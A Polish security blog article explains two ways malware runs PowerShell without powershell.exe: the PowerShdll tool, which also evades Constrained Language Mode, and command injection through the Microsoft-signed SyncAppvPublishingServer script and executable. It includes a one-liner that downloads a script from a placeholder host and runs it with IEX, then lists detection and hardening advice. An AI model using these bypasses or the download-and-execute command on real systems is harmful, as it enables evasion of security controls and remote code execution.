Menu dostępności

Jak malware potrafi użyć złośliwy skrypt Powershell bez konieczności wywołania Powershell.exe z linii komend?

W tym artykule opiszemy najnowsze metody pozwalające złośliwemu oprogramowaniu (malware) ominąć zabezpieczenia w systemie oraz rozwiązania do bezpieczeństwa. Zobaczycie, jak załadować środowisko Powershell bez użycia skojarzonego z nim pliku wykonywalnego (powershell.exe).


Dlaczego Windows Powershell?


Jeśli czytaliście nasze artykuły na Kapitanie Hack’u, a w szczególności te z kampanii malware to na pewno zauważyliście, że statystycznie ulubionym narzędziem stosowanym przez twórców malware jest wbudowany w system Windows PowerShell. O innych narzędziach wbudowanych w system Windows, z który wykorzystują malware pisaliśmy tutaj.

Windows PowerShell (PS) to platforma do automatyzacji zadań i zarządzania konfiguracją aplikacji i systemami Microsoft. Jest to powłoka wiersza poleceń z przypisanym własnym językiem skryptowym. Został zbudowany w systemie DotNet Framework.
Powershell jest często używany w atakach cybernetycznych w celu ukrycia złośliwego kodu na komputerze ofiary, ale wywołanie powershell.exe może zostać wykryte przez rozwiązania do bezpieczeństwa. Niektóre firmy implementują mechanizmy monitorowania użycia PowerShell, w tym monitorują komendy i skrypty wywoływane z interpretera komend (Tutaj pokazaliśmy przykłady takiego audytu PowerShell’a).

Z uwagi na wzmożone ataki malware przez powershell, oprócz monitorowania użycia Powershell w firmach zaczęto blokować wywołanie powłoki powershell.exe przez zwykłych użytkowników. Takie ograniczenie jednak mogą być uciążliwe dla biznesu i powodować problemy w niektórych firmach, ponieważ Powershell używany jest także przez normalne aplikacje biznesowe oraz administracyjne.


Co się stanie, jeśli zablokujemy wywołanie komendy powershell.exe na komputerze?


Okazuje się, że pomimo zablokowania możliwości uruchomienia Powershell’a przez zwykłego użytkownika (np. poprzez wbudowaną w Windows 10 funkcję AppLocker) istnieją metody pozwalające na ominiecie takiej blokady.
W celu ominięcia zabezpieczeń złośliwe oprogramowanie może korzystać z funkcji systemu Windows, która umożliwia uruchamianie skryptu PS w kodzie C# bez wywoływania powershell.exe. Dzięki tej funkcji możliwe jest uruchamianie złośliwych skryptów i ominięcie rozwiązań do bezpieczeństwa. Poniżej przedstawiliśmy dwa przykłady metod stosowanych do obejścia uruchomienia powershell.exe w systemie Windows (narzędzia PowerShdll oraz SyncAppvPublishingServer).


Wywołanie skryptu PowerShell bez konieczności uruchomienia procesu powershell.exe


Pierwsza z metod wykorzystywaną przez cyberprzestępców do ominięcia odpalenia w systemie powershell.exe jest uruchomienie PowerShell’a poprzez dostarczenie na komputer ofiary specjalnej biblioteki lub programu wykonywalnego.
Wykorzystuje ona Biblioteki do automatyzacji Powershell (System.Management.Automation.dll i System.Management.Automation.ni.dll), które są klasami Powershell dla języka DotNet, umożliwiają tworzenie środowiska Powershell w kodzie jezyka C# w celu wykonania skryptów.

W celu zaprezentowania przykładu tej metody wykorzystaliśmy projekt PowerShdll napisany w języku C# przez użytkownika o pseudonimie „p3nt4”. Są to gotowe biblioteki zbudowane jako alternatywa dla powershell.exe.
Niektóre złośliwe programy mogą używać tej metody do ukrywania się przed rozwiązaniami do bezpieczeństwa, które monitorują konkretne pliki wykonywalne, takie jak powershell.exe. Używając narzędzia np. Proces Hacker, zauważyliśmy, że proces PowerShdll nie ma dostępu do powershell.exe, ponieważ bezpośrednio używa on bibliotek DLL wywołujących funkcje PowerShell.

Projekt PowerShdll jest podzielony na dwie części:

  • samodzielny plik wykonywalny
  • lub bibliotekę DLL.

Można stosować te dwa narzędzia zamiennie. Posiadają te same funkcjonalności.

Rozmiary plików to odpowiednio:

  • 7KB plik wykonywalny
  • 14KB plik zawierający bibliotekę DLL
Rozmiary pliku wykonywalnego i biblioteki DLL narzędzia PowerShdll
1. Użycie pliku wykonywalnego PowerShdl.exe z GitHub:

>PowerShdll.exe <skrypt_powershell>

Inne parametry komendy to:

  • Uruchomienie skryptu przekazywanego do parametru path
    >PowerShdll.exe -f <path>
  • Uruchomienie powershella w interaktywnej konsoli
    >PowerShdll.exe -i
Uruchomienie Powershell na Windows 10 z poziomu narzędzia PowerShdll.exe
2. Użycie biblioteki DLL PowerShdll.dll z GitHub:

Drugi sposób to załadowanie biblioteki przez wbudowane w Windows narzędzie rundll32.exe i wywołanie z niej funkcji main. W parametrach przekazujemy skrypt. >rundll32 PowerShdll,main <skrypt_powershell>

Inne parametry komendy to:

  • Uruchomienie skryptu przekazywanego do parametru path
    >rundll32 PowerShdll,main -f <path>
  • Uruchomienie powershella w nowym oknie
    >rundll32 PowerShdll,main -w
  • Uruchomienie powershella w interaktywnej konsoli
    >rundll32 PowerShdll,main -i

Jak możemy się przekonać na ekranie poniżej na liście procesów nie widać procesu powershell.exe

Uruchomienie Powershell na Windows 10 przy użyciu biblioteki PowerShdll (prawe górne okno). Nie widać procesu powershell.exe na liście procesów.

Przykład użycia ataku z wykorzystaniem tej metody opisaliśmy w artykule tutaj.


Co będzie jak włączymy tryb ograniczonego języka Powershell?


Tryb ograniczonego języka Powershell pomaga ograniczyć wywołanie złośliwych komend Powershell na komputerze Windows (link).

W celu sprawdzenia obejścia poweshell.exe przez narzędzie PowerSHdll.exe włączyliśmy tryb Ograniczonego Języka Powershell, ponieważ chcieliśmy zbadać czy te ograniczenia wpływają na możliwości narzędzia.

Poniższa komenda w Powershell ogranicza na komputerze możliwości Powershell:

PS> [Environment]::SetEnvironmentVariable(‘__PSLockdownPolicy‘, ‘4’, ‘Machine‘)

Włączenie trybu ograniczonego języka w Powershell

Sprawdzamy następnie jak to wygląda na zalogowanym użytkowniku. Poniższą komendą sprawdzimy, czy tryb ograniczonego Powershell’a działa poprawnie:

> powershell -c $ExecutionContext.SessionState.LanguageMode

Ograniczenie języka działa poprawnie

Na powyższym ekranie widzimy zwróconą wartość ConstrainedLanguage, zatem nasz Powershell jest bardziej „chroniony”.

Sprawdźmy teraz jak to wygląda w naszym „magicznym” narzędziu PowerShdll.exe

Ograniczenie języka nie działa dla PowerShdll

Jak się okazuje w narzędziu PowerShdll.exe nie działają ograniczenia języka Powershell i otrzymaliśmy tryb FullLanguage pozwalający na wykonanie dowolnego kodu! Mamy dodatkowa furtkę do działań złośliwym kodem na komputerze.


Wstrzyknięcie złośliwego kodu w wywołaniu aplikacji SyncAppVPublishingServer


Kolejną opisywaną metodą pozwalającą obejść powershell.exe jest wykorzystanie narzędzia wbudowanego w Windows 10 do wykonywania operacji w warstwie wirtualizacji App-V. Tak swoją drogą, czy nie uważasz, że jest zbyt dużo wbudowanych aplikacji w Windows umożliwiających na działania cyberprzestępcze? Narzędzia wbudowane w Windows mogą okazać się narzędziami hackerskimi – pisaliśmy o tym w kampanii Narzędzia Hackerskie.

SyncAppVPublishingServer jest częścią Microsoft Application Virtualization (App-V) Polecenie (cmdlet) Sync-AppvPublishingServer inicjuje operację odświeżania publikowania wirtualnej aplikacji Microsoft Application Virtualization (App-V) w kontekście bieżącego użytkownika. Funkcja odświeżania publikacji łączy się ze wszystkimi dodanymi serwerami klienta i prezentuje użytkownikowi nowe aplikacje App-V i odpowiadające im punkty rozszerzeń.

Narzędzie SyncAppVPublishingServer jest dostępny na Windows w dwóch wersjach jako:

  • plik wykonywalny *.exe
  • skrypt VBScript

Oba narzędzia możemy znaleźć w ścieżce „C:\Windows\System32” w Windows 10 i oba są podpisane przez Microsoft.

Przetestujemy oba poniżej.

1. Użycie VBScript:

Poniżej prezentujemy interesującą zawartość skryptu SyncAppVPublishingServer.vbs

Zawartość skryptu VB pozwalającego wykonywać komendy Powershell

Widzimy na powyższym ekranie, że skrypt odpala w parametrach komendę Powershell o następującej składni:

[…]; Sync-AppvPublishingServer [ARGs]

Ponieważ Microsoft nie zaimplementował funkcji sprawdzania argumentów istnieje możliwość wstrzyknięcia w parametrach skryptu wywołania złośliwego kodu! Sposób jak to wykonać:

>C:\Windows\System32\SyncAppvPublishingServer.vbs „Break; Start-Process Calc.exe”

Wynikiem powyższej komendy będzie wykonanie w skrypcie:

[…]; Sync-AppvPublishingServer Break; Start-Process Calc.exe

Komenda wywoła funkcję w Break w Powershell i następnie funkcję uruchamiającą kalkulator:

Powyższa metoda jak się okazuje daje cyberprzestępcom ogromne możliwości, bo możemy przy jej użyciu np. pobrać z Internetu złośliwy kod PowerShell i go wykonać. Przykład:

>SyncAppvPublishingServer.vbs „n;((New-Object Net.WebClient).DownloadString(’http://adreswww.com/zlosliwy_skrypt.ps1′) | IEX”

Skrypt SyncAppVPublishingServer.vbs pozwala na wykonanie wstrzykniętego kodu i może pomóc w analizie, jak działa powiązany z nim plik wykonywalny (SyncAppvPublishingServer.exe). Niektóre złośliwe programy mogą wykorzystać tę sytuację do wykonania skryptu Powershell ze skryptu podpisanego przez Microsoft bądź aplikacji exe.

2. Użycie pliku wykonywalnego EXE:

Wersja SyncAppVPublishingServer w postaci pliku wykonywalnego „exe” używa tych samych argumentów z wiersza poleceń, do uruchomienia złośliwego kodu jak wersja skryptowa:

>C:\Windows\System32\SyncAppVPublishingServer.exe „Break; Start-Process Calc.exe”

Podobnie jak w wersji VBScript, plik wykonywalny pozwala na wykonywanie skryptów wstrzykiwanych w jego argumentach. Ponieważ narzędzie jest podpisane przez Microsoft, pozwala ominąć niektóre rozwiązania bezpieczeństwa.


Czy jest się czego bać?


Opisane powyżej dwa przypadki pokazują jak twórcy malware mogą ominąć standardowe/bądź wbudowane oraz skonfigurowane najnowsze zabezpieczenia w Windows 10. Są one tyle ciekawe, że wykorzystują wbudowane w Windows narzędzia lub pobrana na komputer bibliotekę DLL lub nawet plik wykonywalny EXE, który możemy uruchomić bez żadnych ograniczeń na zwykłym użytkowniku!

Inną ciekawostką jest, iż pomimo skonfigurowania trybu ograniczonego jezyka Powershell w systemie, jesteśmy w stanie obejść także ta restrykcję.

Przetestujcie swoje systemy i sprawdźcie, czy udało się wykonać wywołanie powyższych dwóch metod w środowisku. Jeśli tak możecie się przed tym zabezpieczyć, bo warto.


Jak możemy sobie pomóc?


Przede wszystkim stosując i implementując w systemach przykłady dobrych praktyk z Powershell (i nie tylko). Należą do nich:

  • Monitorowanie komend Powershell o dużej długości.
  • Monitorowanie wywołania plików „exe” z lokalizacji/katalogów, do których ma dostęp zwykły użytkownik
  • Monitorowanie użycie rundll32.exe oraz SyncAppvPublishingServer.exe
  • Monitorowanie uruchamianych skryptów VBScript
  • Umieszczanie Powershell w trybie ograniczonego języka – link – może nie do końca się sprawdzi ale zawsze to coś.
  • Włączenie audytu – ulepszonego rejestrowania poleceń Powershell – czyli rejestrowanie bloków skryptów (przykład tutaj).

Innymi dobrymi praktykami będą też na pewno:

  • Wykonywanie cyklicznych testów przez wyspecjalizowane zespoły do łamania zabezpieczeń w celu określenia podejrzanej aktywności
  • Audytowanie środowiska i szukanie odchyleń wzorów (takich jak Powershell, CBD, regsvr32 itd.) oraz ich prób komunikacji z Internetem
  • Monitorowanie wzorców takich jak IEX, EncodedCommand (oraz wszystkich innych iteracji -e, -ec, -en, enc, itp.). Nie będzie to kompleksowa ochrona, ale zawsze jakaś 🙂
  • Wykorzystanie narzędzia takiego jak Sysmon do zwiększenia możliwości rejestrowania i wykrywania technik wstrzyknięcia kodu, które mogą pochodzić z podejrzanych procesów, w tym PowerShell.exe
  • Szukanie w infrastrukturze plików System.Management.Automation.dll i System.Management.Automation.ni.dll, które nie pochodzą od powershell.exe i powershell_ise.exe (zwykle używane do korzystania z Powershell, ale nie wywołują bezpośrednio Powershell)
  • Zablokowanie zwykłym użytkownikom uruchamianie Powershell, jeśli nie jest to konieczne (funkcja AppLocker + Device Guard może blokować zwykłych użytkowników i umożliwiać administratorom / systemowi korzystanie z Powershell).
  • Monitorowanie procesów podrzędnych, które są wywoływane z powershell.exe i potencjalne ich przejęć, które mogą być wywoływane przez procesy z innych lokalizacji.
  • Szukanie pliku powershell.exe (znajdującego się w systemie w katalogu c:\winows\system32), składającego podrzędny proces 32-bitowego PowerShell (znajdującego się w SYSWOW64). Dobra wskazówka na wykrywanie technik wstrzykiwania kodu powłoki.

Popularne

Koniec ery VPN? Jak sztuczna inteligencja zmienia krajobraz cyberzagrożeń i przyspiesza przejście do Zero Trust

Koniec ery VPN? Jak sztuczna inteligencja zmienia krajobraz cyberzagrożeń i przyspiesza przejście do Zero Trust

Przez ponad dwie dekady sieci VPN (Virtual Private Network) stanowiły podstawowy mechanizm zapewniający bezpieczny dostęp zdalny do zasobów przedsiębiorstw. W czasach, gdy większość pracowników wykonywa...
FIFA i Broken Access Control. Jak konto bez uprawnień uzyskało dostęp do systemów Mistrzostw Świata 2026

FIFA i Broken Access Control. Jak konto bez uprawnień uzyskało dostęp do systemów Mistrzostw Świata 2026

16 czerwca, czyli zaledwie pięć dni po rozpoczęciu Mistrzostw Świata 2026, badaczka cyberbezpieczeństwa działająca pod pseudonimem „BobDaHacker” opisała na swoim blogu lukę odkrytą w systemach FIFA. Według...
Accenture potwierdza wyciek danych

Accenture potwierdza wyciek danych

Accenture, obecny również w Polsce gigant usług profesjonalnych, potwierdziło naruszenie bezpieczeństwa danych po tym, jak haker przyznał się do kradzieży kodu źródłowego firmy. Accenture to przedsi...
Masowa kampania password spray wymierzona w Azure CLI

Masowa kampania password spray wymierzona w Azure CLI

Cyberprzestępcy prowadzą zakrojoną na szeroką skalę kampanię password spray, wymierzoną w środowiska Microsoft 365 za pośrednictwem Azure CLI, o czym informuje Huntress – firma zajmująca się cyberbezpiec...
External MFA w Microsoft Entra ID – koniec Custom Controls

External MFA w Microsoft Entra ID – koniec Custom Controls

MFA, czyli uwierzytelnianie wieloskładnikowe, opiera się na prostej zasadzie: samo hasło nie wystarcza. Po wpisaniu loginu i hasła użytkownik musi jeszcze potwierdzić swoją tożsamość drugim składniki...